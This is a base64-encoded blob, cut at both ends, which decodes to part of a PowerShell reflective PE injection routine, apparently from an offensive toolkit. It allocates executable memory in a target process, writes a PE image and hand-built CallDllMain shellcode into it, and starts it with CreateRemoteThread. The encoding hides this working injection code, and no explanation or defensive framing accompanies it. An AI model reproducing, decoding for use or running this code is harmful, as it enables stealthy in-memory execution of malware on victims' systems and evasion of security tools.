ZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIklzV293NjRQcm9jZXNzIikNCgkJCWlmICgkUmVzdWx0IC1lcSBbSW50UHRyXTo6WmVybykNCgkJCXsNCgkJCQlUaHJvdyAiQ291bGRuJ3QgbG9jYXRlIElzV293NjRQcm9jZXNzIGZ1bmN0aW9uIHRvIGRldGVybWluZSBpZiB0YXJnZXQgcHJvY2VzcyBpcyAzMmJpdCBvciA2NGJpdCINCgkJCX0NCgkJCQ0KCQkJW0Jvb2xdJFdvdzY0UHJvY2VzcyA9ICRmYWxzZQ0KCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuSXNXb3c2NFByb2Nlc3MuSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCBbUmVmXSRXb3c2NFByb2Nlc3MpDQoJCQlpZiAoJFN1Y2Nlc3MgLWVxICRmYWxzZSkNCgkJCXsNCgkJCQlUaHJvdyAiQ2FsbCB0byBJc1dvdzY0UHJvY2VzcyBmYWlsZWQiDQoJCQl9DQoJCQkNCgkJCWlmICgoJFdvdzY0UHJvY2VzcyAtZXEgJHRydWUpIC1vciAoKCRXb3c2NFByb2Nlc3MgLWVxICRmYWxzZSkgLWFuZCAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKSAtZXEgNCkpKQ0KCQkJew0KCQkJCSRQcm9jZXNzNjRCaXQgPSAkZmFsc2UNCgkJCX0NCgkJCQ0KCQkJI1Bvd2VyU2hlbGwgbmVlZHMgdG8gYmUgc2FtZSBiaXQgYXMgdGhlIFBFIGJlaW5nIGxvYWRlZCBmb3IgSW50UHRyIHRvIHdvcmsgY29ycmVjdGx5DQoJCQkkUG93ZXJTaGVsbDY0Qml0ID0gJHRydWUNCgkJCWlmIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW0ludFB0cl0pIC1uZSA4KQ0KCQkJew0KCQkJCSRQb3dlclNoZWxsNjRCaXQgPSAkZmFsc2UNCgkJCX0NCgkJCWlmICgkUG93ZXJTaGVsbDY0Qml0IC1uZSAkUHJvY2VzczY0Qml0KQ0KCQkJew0KCQkJCXRocm93ICJQb3dlclNoZWxsIG11c3QgYmUgc2FtZSBhcmNoaXRlY3R1cmUgKHg4Ni94NjQpIGFzIFBFIGJlaW5nIGxvYWRlZCBhbmQgcmVtb3RlIHByb2Nlc3MiDQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlpZiAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKSAtbmUgOCkNCgkJCXsNCgkJCQkkUHJvY2VzczY0Qml0ID0gJGZhbHNlDQoJCQl9DQoJCX0NCgkJaWYgKCRQcm9jZXNzNjRCaXQgLW5lICRQRUluZm8uUEU2NEJpdCkNCgkJew0KCQkJVGhyb3cgIlBFIHBsYXRmb3JtIGRvZXNuJ3QgbWF0Y2ggdGhlIGFyY2hpdGVjdHVyZSBvZiB0aGUgcHJvY2VzcyBpdCBpcyBiZWluZyBsb2FkZWQgaW4gKDMyLzY0Yml0KSINCgkJfQ0KCQkNCg0KCQkjQWxsb2NhdGUgbWVtb3J5IGFuZCB3cml0ZSB0aGUgUEUgdG8gbWVtb3J5LiBJZiB0aGUgUEUgc3VwcG9ydHMgQVNMUiwgYWxsb2NhdGUgdG8gYSByYW5kb20gbWVtb3J5IGFkZHJlc3MNCgkJV3JpdGUtVmVyYm9zZSAiQWxsb2NhdGluZyBtZW1vcnkgZm9yIHRoZSBQRSBhbmQgd3JpdGUgaXRzIGhlYWRlcnMgdG8gbWVtb3J5Ig0KCQkNCgkJW0ludFB0cl0kTG9hZEFkZHIgPSBbSW50UHRyXTo6WmVybw0KCQlpZiAoKFtJbnRdICRQRUluZm8uRGxsQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfRFlOQU1JQ19CQVNFKSAtbmUgJFdpbjMyQ29uc3RhbnRzLklNQUdFX0RMTENIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UpDQoJCXsNCgkJCVdyaXRlLVdhcm5pbmcgIlBFIGZpbGUgYmVpbmcgcmVmbGVjdGl2ZWx5IGxvYWRlZCBpcyBub3QgQVNMUiBjb21wYXRpYmxlLiBJZiB0aGUgbG9hZGluZyBmYWlscywgdHJ5IHJlc3RhcnRpbmcgUG93ZXJTaGVsbCBhbmQgdHJ5aW5nIGFnYWluIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQ0KCQkJW0ludFB0cl0kTG9hZEFkZHIgPSAkT3JpZ2luYWxJbWFnZUJhc2UNCgkJfQ0KDQoJCSRQRUhhbmRsZSA9IFtJbnRQdHJdOjpaZXJvCQkJCSNUaGlzIGlzIHdoZXJlIHRoZSBQRSBpcyBhbGxvY2F0ZWQgaW4gUG93ZXJTaGVsbA0KCQkkRWZmZWN0aXZlUEVIYW5kbGUgPSBbSW50UHRyXTo6WmVybwkJI1RoaXMgaXMgdGhlIGFkZHJlc3MgdGhlIFBFIHdpbGwgYmUgbG9hZGVkIHRvLiBJZiBpdCBpcyBsb2FkZWQgaW4gUG93ZXJTaGVsbCwgdGhpcyBlcXVhbHMgJFBFSGFuZGxlLiBJZiBpdCBpcyBsb2FkZWQgaW4gYSByZW1vdGUgcHJvY2VzcywgdGhpcyBpcyB0aGUgYWRkcmVzcyBpbiB0aGUgcmVtb3RlIHByb2Nlc3MuDQoJCWlmICgkUmVtb3RlTG9hZGluZyAtZXEgJHRydWUpDQoJCXsNCgkJCSNBbGxvY2F0ZSBzcGFjZSBpbiB0aGUgcmVtb3RlIHByb2Nlc3MsIGFuZCBhbHNvIGFsbG9jYXRlIHNwYWNlIGluIFBvd2VyU2hlbGwuIFRoZSBQRSB3aWxsIGJlIHNldHVwIGluIFBvd2VyU2hlbGwgYW5kIGNvcGllZCB0byB0aGUgcmVtb3RlIHByb2Nlc3Mgd2hlbiBpdCBpcyBzZXR1cA0KCQkJJFBFSGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxBbGxvYy5JbnZva2UoW0ludFB0cl06Olplcm8sIFtVSW50UHRyXSRQRUluZm8uU2l6ZU9mSW1hZ2UsICRXaW4zMkNvbnN0YW50cy5NRU1fQ09NTUlUIC1ib3IgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRVNFUlZFLCAkV2luMzJDb25zdGFudHMuUEFHRV9SRUFEV1JJVEUpDQoJCQkNCgkJCSN0b2RvLCBlcnJvciBoYW5kbGluZyBuZWVkcyB0byBkZWxldGUgdGhpcyBtZW1vcnkgaWYgYW4gZXJyb3IgaGFwcGVucyBhbG9uZyB0aGUgd2F5DQoJCQkkRWZmZWN0aXZlUEVIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkTG9hZEFkZHIsIFtVSW50UHRyXSRQRUluZm8uU2l6ZU9mSW1hZ2UsICRXaW4zMkNvbnN0YW50cy5NRU1fQ09NTUlUIC1ib3IgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRVNFUlZFLCAkV2luMzJDb25zdGFudHMuUEFHRV9FWEVDVVRFX1JFQURXUklURSkNCgkJCWlmICgkRWZmZWN0aXZlUEVIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQkJew0KCQkJCVRocm93ICJVbmFibGUgdG8gYWxsb2NhdGUgbWVtb3J5IGluIHRoZSByZW1vdGUgcHJvY2Vzcy4gSWYgdGhlIFBFIGJlaW5nIGxvYWRlZCBkb2Vzbid0IHN1cHBvcnQgQVNMUiwgaXQgY291bGQgYmUgdGhhdCB0aGUgcmVxdWVzdGVkIGJhc2UgYWRkcmVzcyBvZiB0aGUgUEUgaXMgYWxyZWFkeSBpbiB1c2UiDQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlpZiAoJE5YQ29tcGF0aWJsZSAtZXEgJHRydWUpDQoJCQl7DQoJCQkJJFBFSGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxBbGxvYy5JbnZva2UoJExvYWRBZGRyLCBbVUludFB0cl0kUEVJbmZvLlNpemVPZkltYWdlLCAkV2luMzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMyQ29uc3RhbnRzLlBBR0VfUkVBRFdSSVRFKQ0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSRQRUhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2MuSW52b2tlKCRMb2FkQWRkciwgW1VJbnRQdHJdJFBFSW5mby5TaXplT2ZJbWFnZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRFKQ0KCQkJfQ0KCQkJJEVmZmVjdGl2ZVBFSGFuZGxlID0gJFBFSGFuZGxlDQoJCX0NCgkJDQoJCVtJbnRQdHJdJFBFRW5kQWRkcmVzcyA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVIYW5kbGUpIChbSW50NjRdJFBFSW5mby5TaXplT2ZJbWFnZSkNCgkJaWYgKCRQRUhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pDQoJCXsgDQoJCQlUaHJvdyAiVmlydHVhbEFsbG9jIGZhaWxlZCB0byBhbGxvY2F0ZSBtZW1vcnkgZm9yIFBFLiBJZiBQRSBpcyBub3QgQVNMUiBjb21wYXRpYmxlLCB0cnkgcnVubmluZyB0aGUgc2NyaXB0IGluIGEgbmV3IFBvd2VyU2hlbGwgcHJvY2VzcyAodGhlIG5ldyBQb3dlclNoZWxsIHByb2Nlc3Mgd2lsbCBoYXZlIGEgZGlmZmVyZW50IG1lbW9yeSBsYXlvdXQsIHNvIHRoZSBhZGRyZXNzIHRoZSBQRSB3YW50cyBtaWdodCBiZSBmcmVlKS4iDQoJCX0JCQ0KCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpDb3B5KCRQRUJ5dGVzLCAwLCAkUEVIYW5kbGUsICRQRUluZm8uU2l6ZU9mSGVhZGVycykgfCBPdXQtTnVsbA0KCQkNCgkJDQoJCSNOb3cgdGhhdCB0aGUgUEUgaXMgaW4gbWVtb3J5LCBnZXQgbW9yZSBkZXRhaWxlZCBpbmZvcm1hdGlvbiBhYm91dCBpdA0KCQlXcml0ZS1WZXJib3NlICJHZXR0aW5nIGRldGFpbGVkIFBFIGluZm9ybWF0aW9uIGZyb20gdGhlIGhlYWRlcnMgbG9hZGVkIGluIG1lbW9yeSINCgkJJFBFSW5mbyA9IEdldC1QRURldGFpbGVkSW5mbyAtUEVIYW5kbGUgJFBFSGFuZGxlIC1XaW4zMlR5cGVzICRXaW4zMlR5cGVzIC1XaW4zMkNvbnN0YW50cyAkV2luMzJDb25zdGFudHMNCgkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEVuZEFkZHJlc3MgLVZhbHVlICRQRUVuZEFkZHJlc3MNCgkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEVmZmVjdGl2ZVBFSGFuZGxlIC1WYWx1ZSAkRWZmZWN0aXZlUEVIYW5kbGUNCgkJV3JpdGUtVmVyYm9zZSAiU3RhcnRBZGRyZXNzOiAkUEVIYW5kbGUgICAgRW5kQWRkcmVzczogJFBFRW5kQWRkcmVzcyINCgkJDQoJCQ0KCQkjQ29weSBlYWNoIHNlY3Rpb24gZnJvbSB0aGUgUEUgaW4gdG8gbWVtb3J5DQoJCVdyaXRlLVZlcmJvc2UgIkNvcHkgUEUgc2VjdGlvbnMgaW4gdG8gbWVtb3J5Ig0KCQlDb3B5LVNlY3Rpb25zIC1QRUJ5dGVzICRQRUJ5dGVzIC1QRUluZm8gJFBFSW5mbyAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zIC1XaW4zMlR5cGVzICRXaW4zMlR5cGVzDQoJCQ0KCQkNCgkJI1VwZGF0ZSB0aGUgbWVtb3J5IGFkZHJlc3NlcyBoYXJkY29kZWQgaW4gdG8gdGhlIFBFIGJhc2VkIG9uIHRoZSBtZW1vcnkgYWRkcmVzcyB0aGUgUEUgd2FzIGV4cGVjdGluZyB0byBiZSBsb2FkZWQgdG8gdnMgd2hlcmUgaXQgd2FzIGFjdHVhbGx5IGxvYWRlZA0KCQlXcml0ZS1WZXJib3NlICJVcGRhdGUgbWVtb3J5IGFkZHJlc3NlcyBiYXNlZCBvbiB3aGVyZSB0aGUgUEUgd2FzIGFjdHVhbGx5IGxvYWRlZCBpbiBtZW1vcnkiDQoJCVVwZGF0ZS1NZW1vcnlBZGRyZXNzZXMgLVBFSW5mbyAkUEVJbmZvIC1PcmlnaW5hbEltYWdlQmFzZSAkT3JpZ2luYWxJbWFnZUJhc2UgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cyAtV2luMzJUeXBlcyAkV2luMzJUeXBlcw0KDQoJCQ0KCQkjVGhlIFBFIHdlIGFyZSBpbi1tZW1vcnkgbG9hZGluZyBoYXMgRExMcyBpdCBuZWVkcywgaW1wb3J0IHRob3NlIERMTHMgZm9yIGl0DQoJCVdyaXRlLVZlcmJvc2UgIkltcG9ydCBETEwncyBuZWVkZWQgYnkgdGhlIFBFIHdlIGFyZSBsb2FkaW5nIg0KCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICR0cnVlKQ0KCQl7DQoJCQlJbXBvcnQtRGxsSW1wb3J0cyAtUEVJbmZvICRQRUluZm8gLVdpbjMyRnVuY3Rpb25zICRXaW4zMkZ1bmN0aW9ucyAtV2luMzJUeXBlcyAkV2luMzJUeXBlcyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzIC1SZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlDQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlJbXBvcnQtRGxsSW1wb3J0cyAtUEVJbmZvICRQRUluZm8gLVdpbjMyRnVuY3Rpb25zICRXaW4zMkZ1bmN0aW9ucyAtV2luMzJUeXBlcyAkV2luMzJUeXBlcyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzDQoJCX0NCgkJDQoJCQ0KCQkjVXBkYXRlIHRoZSBtZW1vcnkgcHJvdGVjdGlvbiBmbGFncyBmb3IgYWxsIHRoZSBtZW1vcnkganVzdCBhbGxvY2F0ZWQNCgkJaWYgKCRSZW1vdGVMb2FkaW5nIC1lcSAkZmFsc2UpDQoJCXsNCgkJCWlmICgkTlhDb21wYXRpYmxlIC1lcSAkdHJ1ZSkNCgkJCXsNCgkJCQlXcml0ZS1WZXJib3NlICJVcGRhdGUgbWVtb3J5IHByb3RlY3Rpb24gZmxhZ3MiDQoJCQkJVXBkYXRlLU1lbW9yeVByb3RlY3Rpb25GbGFncyAtUEVJbmZvICRQRUluZm8gLVdpbjMyRnVuY3Rpb25zICRXaW4zMkZ1bmN0aW9ucyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzIC1XaW4zMlR5cGVzICRXaW4zMlR5cGVzDQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJV3JpdGUtVmVyYm9zZSAiUEUgYmVpbmcgcmVmbGVjdGl2ZWx5IGxvYWRlZCBpcyBub3QgY29tcGF0aWJsZSB3aXRoIE5YIG1lbW9yeSwga2VlcGluZyBtZW1vcnkgYXMgcmVhZCB3cml0ZSBleGVjdXRlIg0KCQkJfQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJV3JpdGUtVmVyYm9zZSAiUEUgYmVpbmcgbG9hZGVkIGluIHRvIGEgcmVtb3RlIHByb2Nlc3MsIG5vdCBhZGp1c3RpbmcgbWVtb3J5IHBlcm1pc3Npb25zIg0KCQl9DQoJCQ0KCQkNCgkJI0lmIHJlbW90ZSBsb2FkaW5nLCBjb3B5IHRoZSBETEwgaW4gdG8gcmVtb3RlIHByb2Nlc3MgbWVtb3J5DQoJCWlmICgkUmVtb3RlTG9hZGluZyAtZXEgJHRydWUpDQoJCXsNCgkJCVtVSW50MzJdJE51bUJ5dGVzV3JpdHRlbiA9IDANCgkJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLldyaXRlUHJvY2Vzc01lbW9yeS5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRFZmZlY3RpdmVQRUhhbmRsZSwgJFBFSGFuZGxlLCBbVUludFB0cl0oJFBFSW5mby5TaXplT2ZJbWFnZSksIFtSZWZdJE51bUJ5dGVzV3JpdHRlbikNCgkJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQ0KCQkJew0KCQkJCVRocm93ICJVbmFibGUgdG8gd3JpdGUgc2hlbGxjb2RlIHRvIHJlbW90ZSBwcm9jZXNzIG1lbW9yeS4iDQoJCQl9DQoJCX0NCgkJDQoJCQ0KCQkjQ2FsbCB0aGUgZW50cnkgcG9pbnQsIGlmIHRoaXMgaXMgYSBETEwgdGhlIGVudHJ5cG9pbnQgaXMgdGhlIERsbE1haW4gZnVuY3Rpb24sIGlmIGl0IGlzIGFuIEVYRSBpdCBpcyB0aGUgTWFpbiBmdW5jdGlvbg0KCQlpZiAoJFBFSW5mby5GaWxlVHlwZSAtaWVxICJETEwiKQ0KCQl7DQoJCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICRmYWxzZSkNCgkJCXsNCgkJCQlXcml0ZS1WZXJib3NlICJDYWxsaW5nIGRsbG1haW4gc28gdGhlIERMTCBrbm93cyBpdCBoYXMgYmVlbiBsb2FkZWQiDQoJCQkJJERsbE1haW5QdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5BZGRyZXNzT2ZFbnRyeVBvaW50KQ0KCQkJCSREbGxNYWluRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtVSW50MzJdLCBbSW50UHRyXSkgKFtCb29sXSkNCgkJCQkkRGxsTWFpbiA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCREbGxNYWluUHRyLCAkRGxsTWFpbkRlbGVnYXRlKQ0KCQkJCQ0KCQkJCSREbGxNYWluLkludm9rZSgkUEVJbmZvLlBFSGFuZGxlLCAxLCBbSW50UHRyXTo6WmVybykgfCBPdXQtTnVsbA0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSREbGxNYWluUHRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRFZmZlY3RpdmVQRUhhbmRsZSkgKCRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5PcHRpb25hbEhlYWRlci5BZGRyZXNzT2ZFbnRyeVBvaW50KQ0KCQkJDQoJCQkJaWYgKCRQRUluZm8uUEU2NEJpdCAtZXEgJHRydWUpDQoJCQkJew0KCQkJCQkjU2hlbGxjb2RlOiBDYWxsRGxsTWFpbi5hc20NCgkJCQkJJENhbGxEbGxNYWluU0MxID0gQCgweDUzLCAweDQ4LCAweDg5LCAweGUzLCAweDY2LCAweDgzLCAweGU0LCAweDAwLCAweDQ4LCAweGI5KQ0KCQkJCQkkQ2FsbERsbE1haW5TQzIgPSBAKDB4YmEsIDB4MDEsIDB4MDAsIDB4MDAsIDB4MDAsIDB4NDEsIDB4YjgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4NDgsIDB4YjgpDQoJCQkJCSRDYWxsRGxsTWFpblNDMyA9IEAoMHhmZiwgMHhkMCwgMHg0OCwgMHg4OSwgMHhkYywgMHg1YiwgMHhjMykNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJI1NoZWxsY29kZTogQ2FsbERsbE1haW4uYXNtDQoJCQkJCSRDYWxsRGxsTWFpblNDMSA9IEAoMHg1MywgMHg4OSwgMHhlMywgMHg4MywgMHhlNCwgMHhmMCwgMHhiOSkNCgkJCQkJJENhbGxEbGxNYWluU0MyID0gQCgweGJhLCAweDAxLCAweDAwLCAweDAwLCAweDAwLCAweGI4LCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDUwLCAweDUyLCAweDUxLCAweGI4KQ0KCQkJCQkkQ2FsbERsbE1haW5TQzMgPSBAKDB4ZmYsIDB4ZDAsIDB4ODksIDB4ZGMsIDB4NWIsIDB4YzMpDQoJCQkJfQ0KCQkJCSRTQ0xlbmd0aCA9ICRDYWxsRGxsTWFpblNDMS5MZW5ndGggKyAkQ2FsbERsbE1haW5TQzIuTGVuZ3RoICsgJENhbGxEbGxNYWluU0MzLkxlbmd0aCArICgkUHRyU2l6ZSAqIDIpDQoJCQkJJFNDUFNNZW0gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFNDTGVuZ3RoKQ0KCQkJCSRTQ1BTTWVtT3JpZ2luYWwgPSAkU0NQU01lbQ0KCQkJCQ0KCQkJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRDYWxsRGxsTWFpblNDMSAtTWVtb3J5QWRkcmVzcyAkU0NQU01lbQ0KCQkJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRDYWxsRGxsTWFpblNDMS5MZW5ndGgpDQoJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJEVmZmVjdGl2ZVBFSGFuZGxlLCAkU0NQU01lbSwgJGZhbHNlKQ0KCQkJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQ0KCQkJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRDYWxsRGxsTWFpblNDMiAtTWVtb3J5QWRkcmVzcyAkU0NQU01lbQ0KCQkJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRDYWxsRGxsTWFpblNDMi5MZW5ndGgpDQoJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJERsbE1haW5QdHIsICRTQ1BTTWVtLCAkZmFsc2UpDQoJCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJFB0clNpemUpDQoJCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJENhbGxEbGxNYWluU0MzIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtDQoJCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJENhbGxEbGxNYWluU0MzLkxlbmd0aCkNCgkJCQkNCgkJCQkkUlNDQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsIFtJbnRQdHJdOjpaZXJvLCBbVUludFB0cl1bVUludDY0XSRTQ0xlbmd0aCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRFKQ0KCQkJCWlmICgkUlNDQWRkciAtZXEgW0ludFB0cl06Olplcm8pDQoJCQkJew0KCQkJCQlUaHJvdyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nlc3MgZm9yIHNoZWxsY29kZSINCgkJCQl9DQoJCQkJDQoJCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsICRTQ1BTTWVtT3JpZ2luYWwsIFtVSW50UHRyXVtVSW50NjRdJFNDTGVuZ3RoLCBbUmVmXSROdW1CeXRlc1dyaXR0ZW4pDQoJCQkJaWYgKCgkU3VjY2VzcyAtZXEgJGZhbHNlKSAtb3IgKFtVSW50NjRdJE51bUJ5dGVzV3JpdHRlbiAtbmUgW1VJbnQ2NF0kU0NMZW5ndGgpKQ0KCQkJCXsNCgkJCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0ZSBzaGVsbGNvZGUgdG8gcmVtb3RlIHByb2Nlc3MgbWVtb3J5LiINCgkJCQl9DQoNCgkJCQkkUlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NIYW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkUlNDQWRkciAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zDQoJCQkJJFJlc3VsdCA9ICRXaW4zMkZ1bmN0aW9ucy5XYWl0Rm9yU2luZ2xlT2JqZWN0Lkludm9rZSgkUlRocmVhZEhhbmRsZSwgMjAwMDApDQoJCQkJaWYgKCRSZXN1bHQgLW5lIDApDQoJCQkJew0KCQkJCQlUaHJvdyAiQ2FsbCB0byBDcmVhdGVSZW1vdGVUaHJlYWQgdG8gY2FsbCBHZXRQcm9jQWRkcmVzcyBmYWlsZWQuIg0KCQkJCX0NCgkJCQkNCgkJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbEZyZWVFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRSU0NBZGRyLCBbVUludFB0cl1bVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVMRUFTRSkgfCBPdXQtTnVsbA0KCQkJfQ0KCQl9DQoJCWVsc2VpZiAoJFBFSW5mby5GaWxlVHlwZSAtaWVxICJFWEUiKQ0KCQl7DQoJCQkjT3ZlcndyaXRlIEdldENvbW1hbmRMaW5lIGFuZCBFeGl0UHJvY2VzcyBzbyB3ZSBjYW4gcHJvdmlkZSBvdXIgb3duIGFyZ3VtZW50cyB0byB0aGUgRVhFIGFuZCBwcmV2ZW50IGl0IGZyb20ga2lsbGluZyB0aGUgUFMgcHJvY2Vzcw0KCQkJW0ludFB0cl0kRXhlRG9uZUJ5dGVQdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoMSkNCgkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OldyaXRlQnl0ZSgkRXhlRG9uZUJ5dGVQdHIsIDAsIDB4MDApDQoJCQkkT3ZlcndyaXR0ZW5NZW1JbmZvID0gVXBkYXRlLUV4ZUZ1bmN0aW9ucyAtUEVJbmZvICRQRUluZm8gLVdpbjMyRnVuY3Rpb25zICRXaW4zMkZ1bmN0aW9ucyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzIC1FeGVBcmd1bWVudHMgJEV4ZUFyZ3MgLUV4ZURvbmVCeXRlUHRyICRFeGVEb25lQnl0ZVB0cg0KDQoJCQkjSWYgdGhpcyBpcyBhbiBFWEUsIGNhbGwgdGhlIGVudHJ5IHBvaW50IGluIGEgbmV3IHRocmVhZC4gV2UgaGF2ZSBvdmVyd3JpdHRlbiB0aGUgRXhpdFByb2Nlc3MgZnVuY3Rpb24gdG8gaW5zdGVhZCBFeGl0VGhyZWFkDQoJCQkjCVRoaXMgd2F5IHRoZSByZWZsZWN0aXZlbHkgbG9hZGVkIEVYRSB3b24ndCBraWxsIHRoZSBwb3dlcnNoZWxsIHByb2Nlc3Mgd2hlbiBpdCBleGl0cywgaXQgd2lsbCBqdXN0IGtpbGwgaXRzIG93biB0aHJlYWQuDQoJCQlbSW50UHRyXSRFeGVNYWluUHRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUluZm8uUEVIYW5kbGUpICgkUEVJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuQWRkcmVzc09mRW50cnlQb2ludCkNCgkJCVdyaXRlLVZlcmJvc2UgIkNhbGwgRVhFIE1haW4gZnVuY3Rpb24uIEFkZHJlc3M6ICRFeGVNYWluUHRyLiBDcmVhdGluZyB0aHJlYWQgZm9yIHRoZSBFWEUgdG8gcnVuIGluLiINCg0KCQkJJFdpbjMyRnVuY3Rpb25zLkNyZWF0ZVRocmVhZC5JbnZva2UoW0ludFB0cl06Olplcm8sIFtJbnRQdHJdO